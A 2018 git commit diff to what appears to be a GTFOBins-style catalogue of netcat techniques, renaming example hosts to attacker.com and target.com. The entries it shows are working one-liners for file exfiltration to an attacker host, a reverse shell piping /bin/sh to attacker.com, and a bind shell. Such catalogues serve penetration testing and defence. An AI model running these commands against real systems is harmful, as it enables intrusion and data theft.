Use target.com and attacker.com

This commit is contained in:
Emilio Pinna
2018-05-24 20:59:21 +01:00
parent 4bea8d51cc
commit b857c98f92
19 changed files with 58 additions and 58 deletions

View File

@@ -4,12 +4,12 @@ functions:
- description: |
Send a file to a TCP port. Run `nc -l -p 12345 > "where_to_save"` to collect the file on the other end.
code: |
RHOST=10.0.0.1
RHOST=attacker.com
RPORT=12345
LFILE=file_to_send
nc $RHOST $RPORT < "$LFILE"
download:
- description: Fetch remote file from a remote TCP port. Run `nc 10.0.0.1 12345 < "file_to_send"` to send the file from the other end.
- description: Fetch remote file from a remote TCP port. Run `nc target.com 12345 < "file_to_send"` to send the file from the other end.
code: |-
LPORT=12345
LFILE=where_to_save
@@ -17,11 +17,11 @@ functions:
reverse-shell:
- description: Run `nc -l -p 12345` to receive the shell on the other end.
code: |
RHOST=10.0.0.1
RHOST=attacker.com
RPORT=12345
nc -e /bin/sh $RHOST $RPORT
bind-shell:
- description: Run `nc 10.0.0.1 12345` to connect to the shell on the other end.
- description: Run `nc target.com 12345` to connect to the shell on the other end.
code: |
LPORT=12345
nc -l -p $LPORT -e /bin/sh